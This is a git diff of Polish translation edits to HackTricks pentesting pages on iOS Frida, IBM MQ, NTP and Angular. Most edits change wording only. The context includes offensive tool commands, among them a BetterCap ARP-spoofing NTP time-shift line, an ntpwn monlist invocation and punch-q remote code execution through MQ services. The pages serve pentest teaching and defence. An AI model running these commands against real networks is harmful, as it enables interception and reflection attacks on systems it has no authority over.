* Uwierzytelnianie wskaźników (PAC) jest egzekwowane w całym systemie na urządzeniach A12 i nowszych. Frida ≥16 transparentnie obsługuje usuwanie PAC — wystarczy, że będziesz na bieżąco aktualizować zarówno *frida-server*, jak i narzędzia Python/CLI, gdy pojawi się nowa główna wersja iOS.
-## Referencje
+## Odniesienia
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
- Dokumentacja dewelopera Apple – Włączanie trybu dewelopera na urządzeniu:
diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md
index d4d8006d8..f4ec0b743 100644
--- a/src/network-services-pentesting/1414-pentesting-ibmmq.md
+++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md
@@ -56,7 +56,7 @@ Po prostu użyj: `sudo docker run --rm -ti leonjza/punch-q`.
#### Bez Dockera
-Sklonuj projekt [**punch-q**](https://github.com/sensepost/punch-q), a następnie postępuj zgodnie z instrukcją w pliku readme do instalacji (`pip install -r requirements.txt && python3 setup.py install`).
+Sklonuj projekt [**punch-q**](https://github.com/sensepost/punch-q), a następnie postępuj zgodnie z instrukcjami w readme dotyczącymi instalacji (`pip install -r requirements.txt && python3 setup.py install`).
Po tym można go używać za pomocą polecenia `punch-q`.
@@ -184,7 +184,7 @@ Możesz celować w kolejki/kanaly, aby podsłuchiwać / zrzucać wiadomości z n
### Wykonanie kodu
> Kilka szczegółów przed kontynuowaniem: IBM MQ można kontrolować na różne sposoby: MQSC, PCF, Control Command. Ogólne listy można znaleźć w [dokumentacji IBM MQ](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
-> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programowalne formaty poleceń_**) to to, na czym się skupiamy, aby zdalnie interagować z instancją. **punch-q** i dalej **pymqi** opierają się na interakcjach PCF.
+> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programowalne formaty poleceń_**) to na czym się skupiamy, aby zdalnie interagować z instancją. **punch-q** i dalej **pymqi** opierają się na interakcjach PCF.
>
> Możesz znaleźć listę poleceń PCF:
>
@@ -197,7 +197,7 @@ Możesz celować w kolejki/kanaly, aby podsłuchiwać / zrzucać wiadomości z n
>
> _Uwaga: zawsze zgodnie z dokumentacją IBM MQ (Referencja administracyjna), istnieje również punkt końcowy HTTP pod `/admin/action/qmgr/{qmgrName}/mqsc`, aby uruchomić równoważne polecenie MQSC do tworzenia usługi (`DEFINE SERVICE`). Ten aspekt nie został jeszcze tutaj omówiony._
-Tworzenie / usuwanie usługi za pomocą PCF do zdalnego wykonania programu można zrealizować za pomocą **punch-q**:
+Tworzenie / usuwanie usługi za pomocą PCF do zdalnego wykonywania programów można zrealizować za pomocą **punch-q**:
**Przykład 1**
```bash
@@ -325,10 +325,10 @@ CONTAINER ID IMAGE COMMAND CRE
```
> Stare wersje obrazów dockera IBM MQ znajdują się pod adresem: https://hub.docker.com/r/ibmcom/mq/.
-## Odniesienia
+## Odnośniki
- [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
- [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md
index c7dd69672..b31d49927 100644
--- a/src/network-services-pentesting/pentesting-ntp.md
+++ b/src/network-services-pentesting/pentesting-ntp.md
@@ -4,17 +4,17 @@
## Podstawowe informacje
-**Protokół Czasu Sieciowego (NTP)** zapewnia, że komputery i urządzenia sieciowe w sieciach o zmiennej latencji synchronizują swoje zegary dokładnie. Jest to kluczowe dla utrzymania precyzyjnego pomiaru czasu w operacjach IT, bezpieczeństwie i logowaniu. Ponieważ czas jest używany w niemal każdym procesie autoryzacji, protokole kryptograficznym i dochodzeniowym, **atakujący, który może wpływać na NTP, często może obejść kontrole bezpieczeństwa lub utrudnić dochodzenie w sprawie ataków.**
+**Protokół Czasu Sieciowego (NTP)** zapewnia, że komputery i urządzenia sieciowe w sieciach o zmiennej latencji synchronizują swoje zegary dokładnie. Jest to kluczowe dla utrzymania precyzyjnego pomiaru czasu w operacjach IT, bezpieczeństwie i logowaniu. Ponieważ czas jest używany w niemal każdym procesie uwierzytelniania, protokole kryptograficznym i procesie kryminalistycznym, **atakujący, który może wpływać na NTP, często może obejść kontrole bezpieczeństwa lub utrudnić dochodzenia w sprawie ataków.**
### Podsumowanie i wskazówki dotyczące bezpieczeństwa
- **Cel**: Synchronizuje zegary urządzeń w sieciach.
- **Znaczenie**: Krytyczne dla bezpieczeństwa, logowania, protokołów kryptograficznych i systemów rozproszonych.
- **Środki bezpieczeństwa**:
-- Używaj zaufanych źródeł NTP lub NTS (Network Time Security) z autoryzacją.
-- Ogranicz, kto może zapytywać/komendować demona (``restrict default noquery``, ``kod`` itp.).
-- Wyłącz kontrolne zapytania w trybie 6/7 (``monlist``, ``ntpdc``) lub ogranicz ich częstotliwość.
-- Monitoruj dryf synchronizacji/stan sekund przestępnych pod kątem manipulacji.
+- Używaj zaufanych źródeł NTP lub NTS (Network Time Security) z uwierzytelnieniem.
+- Ogranicz, kto może zapytywać/komendować demon (``restrict default noquery``, ``kod`` itp.).
+- Wyłącz zapytania kontrolne w trybie 6/7 (``monlist``, ``ntpdc``) lub ogranicz ich częstotliwość.
+- Monitoruj dryf synchronizacji/stan sekund przestępnych w celu wykrywania manipulacji.
- Utrzymuj demona w aktualizacji (zobacz ostatnie CVE poniżej).
**Domyślne porty**
@@ -80,7 +80,7 @@ Zwróć szczególną uwagę na linie ``restrict``, ustawienia ``kod`` (Kiss-o'-D
| Rok | CVE | Komponent | Wpływ |
|------|-----|-----------|--------|
-| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Wiele zapisów poza zakresem dostępnych przez odpowiedzi **ntpq**. Łatka w **4.2.8p16** 🡒 aktualizacja lub przeniesienie poprawek. |
+| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Wiele zapisów poza zakresem dostępnych poprzez odpowiedzi **ntpq**. Łatka w **4.2.8p16** 🡒 aktualizacja lub przeniesienie poprawek. |
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implementacja w Rust) | Źle sformatowane ciasteczko **NTS** powoduje zdalny **DoS** przed wersją v0.3.3 – wpływa na port 123 nawet gdy NTS **wyłączone**. |
| 2024 | aktualizacje dystrybucji | **chrony 4.4 / 4.5** – kilka poprawek zabezpieczeń i NTS-KE (np. SUSE-RU-2024:2022) |
| 2024 | Rekordowy DDoS | Cloudflare zgłasza atak **5.6 Tbps UDP reflection** (NTP wśród używanych protokołów). Utrzymuj *monitor* i *monlist* wyłączone na hostach wystawionych na Internet. |
@@ -122,7 +122,7 @@ Szukaj certyfikatów samopodpisanych lub wygasłych oraz słabych zestawów szyf
*Operatorzy POWINNI:*
1. Używać **≥ 4** niezależnych, różnorodnych źródeł czasu (publiczne pule, GPS, mosty PTP), aby uniknąć zanieczyszczenia z jednego źródła.
-2. Włączyć ograniczenia ``kod`` oraz ``limited``/``nomodify``, aby klienci nadużywający otrzymywali pakiety limitujące **Kiss-o'-Death** zamiast pełnych odpowiedzi.
+2. Włączyć ograniczenia ``kod`` oraz ``limited``/``nomodify``, aby klienci nadużywający otrzymywali pakiety **Kiss-o'-Death** z ograniczeniem prędkości zamiast pełnych odpowiedzi.
3. Monitorować logi demona pod kątem zdarzeń **panic** lub dostosowań kroków > 1000 s. (Podpisy ataku zgodnie z RFC 8633 §5.3.)
4. Rozważyć **leap-smear**, aby uniknąć przerw związanych z sekundą przestępną, ale upewnić się, że *wszyscy* klienci downstream używają tego samego okna smarowania.
5. Utrzymywać polling ≤24 h, aby nie przegapić flag sekund przestępnych.
@@ -142,9 +142,9 @@ port:4460 "ntske" # NTS-KE
| Narzędzie | Cel | Przykład |
|-----------|-----|----------|
| ``ntpwn`` | Wrapper dla script-kiddie do rozprzestrzeniania zapytań monlist i peers | ``python ntpwn.py --monlist targets.txt`` |
-| **zgrab2 ntp** | Masowe skanowanie / wyjście JSON z flagą monlist | Zobacz powyższe polecenie |
+| **zgrab2 ntp** | Masowe skanowanie / wyjście JSON z flagą monlist | Zobacz polecenie powyżej |
| ``chronyd`` z ``allow`` | Uruchomienie nieautoryzowanego serwera NTP w laboratorium pentestowym | ``chronyd -q 'server 127.127.1.0 iburst'`` |
-| ``BetterCap`` | Wstrzykiwanie pakietów NTP do ataku MITM z przesunięciem czasowym na Wi-Fi | ``set arp.spoof.targets ; set ntp.time.delta 30s; arp.spoof on`` |
+| ``BetterCap`` | Wstrzykiwanie pakietów NTP dla ataku MITM z przesunięciem czasowym na Wi-Fi | ``set arp.spoof.targets ; set ntp.time.delta 30s; arp.spoof on`` |
---
## Automatyczne Komendy HackTricks
@@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
- Projekt Khronos/Chronos (łagodzenie przesunięcia czasowego)
- Podręcznik chronyc/przykłady do zdalnego monitorowania
- Dokumentacja modułu ntp zgrab2
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index 62df3b5b9..e36d6ea6f 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -1,6 +1,6 @@
# Angular
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
## Lista kontrolna
@@ -8,11 +8,11 @@ Lista kontrolna [stąd](https://lsgeurope.com/post/angular-security-checklist).
* [ ] Angular jest uważany za framework po stronie klienta i nie oczekuje się, że zapewni ochronę po stronie serwera
* [ ] Sourcemap dla skryptów jest wyłączony w konfiguracji projektu
-* [ ] Niezaufane dane wejściowe od użytkownika są zawsze interpolowane lub oczyszczane przed użyciem w szablonach
+* [ ] Niezaufane dane wejściowe użytkownika są zawsze interpolowane lub oczyszczane przed użyciem w szablonach
* [ ] Użytkownik nie ma kontroli nad szablonami po stronie serwera ani po stronie klienta
-* [ ] Niezaufane dane wejściowe od użytkownika są oczyszczane przy użyciu odpowiedniego kontekstu bezpieczeństwa przed zaufaniem aplikacji
+* [ ] Niezaufane dane wejściowe użytkownika są oczyszczane przy użyciu odpowiedniego kontekstu bezpieczeństwa przed zaufaniem aplikacji
* [ ] Metody `BypassSecurity*` nie są używane z niezaufanymi danymi wejściowymi
-* [ ] Niezaufane dane wejściowe od użytkownika nie są przekazywane do klas Angular, takich jak `ElementRef`, `Renderer2` i `Document`, ani do innych miejsc docelowych JQuery/DOM
+* [ ] Niezaufane dane wejściowe użytkownika nie są przekazywane do klas Angular, takich jak `ElementRef`, `Renderer2` i `Document`, ani do innych miejsc docelowych JQuery/DOM
## Czym jest Angular
@@ -62,7 +62,7 @@ Framework Angular tłumaczy pliki TypeScript na kod JavaScript, stosując opcje
```
Ogólnie rzecz biorąc, pliki sourcemap są wykorzystywane do celów debugowania, ponieważ mapują wygenerowane pliki do ich oryginalnych plików. Dlatego nie zaleca się ich używania w środowisku produkcyjnym. Jeśli sourcemaps są włączone, poprawia to czytelność i pomaga w analizie plików, odtwarzając oryginalny stan projektu Angular. Jednak jeśli są wyłączone, recenzent może nadal ręcznie analizować skompilowany plik JavaScript, szukając wzorców antybezpieczeństwa.
-Ponadto, skompilowany plik JavaScript z projektem Angular można znaleźć w narzędziach dewelopera przeglądarki → Źródła (lub Debugger i Źródła) → \[id].main.js. W zależności od włączonych opcji, plik ten może zawierać następujący wiersz na końcu `//# sourceMappingURL=[id].main.js.map` lub może go nie mieć, jeśli opcja **hidden** jest ustawiona na **true**. Niemniej jednak, jeśli sourcemap jest wyłączony dla **skryptów**, testowanie staje się bardziej skomplikowane i nie możemy uzyskać pliku. Dodatkowo, sourcemap można włączyć podczas budowy projektu, używając `ng build --source-map`.
+Ponadto, skompilowany plik JavaScript z projektem Angular można znaleźć w narzędziach dewelopera przeglądarki → Źródła (lub Debugger i Źródła) → \[id].main.js. W zależności od włączonych opcji, plik ten może zawierać następujący wiersz na końcu `//# sourceMappingURL=[id].main.js.map` lub może go nie być, jeśli opcja **hidden** jest ustawiona na **true**. Niemniej jednak, jeśli sourcemap jest wyłączony dla **skryptów**, testowanie staje się bardziej skomplikowane i nie możemy uzyskać pliku. Dodatkowo, sourcemap można włączyć podczas budowy projektu, używając `ng build --source-map`.
## Wiązanie danych
@@ -74,16 +74,16 @@ Możemy klasyfikować wiązanie według przepływu danych:
* Cel widoku do źródła danych (obejmuje _zdarzenia_); można zastosować, używając `()` w szablonie;
* Dwukierunkowe; można zastosować, używając `[()]` w szablonie.
-Wiązanie może być wywoływane na właściwościach, zdarzeniach i atrybutach, a także na dowolnym publicznym członie dyrektywy źródłowej:
+Wiązanie można wywoływać na właściwościach, zdarzeniach i atrybutach, a także na dowolnym publicznym członie dyrektywy źródłowej:
| TYP | CEL | PRZYKŁADY |
-| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
-| Właściwość | Właściwość elementu, Właściwość komponentu, Właściwość dyrektywy | \ |
-| Zdarzenie | Zdarzenie elementu, Zdarzenie komponentu, Zdarzenie dyrektywy | \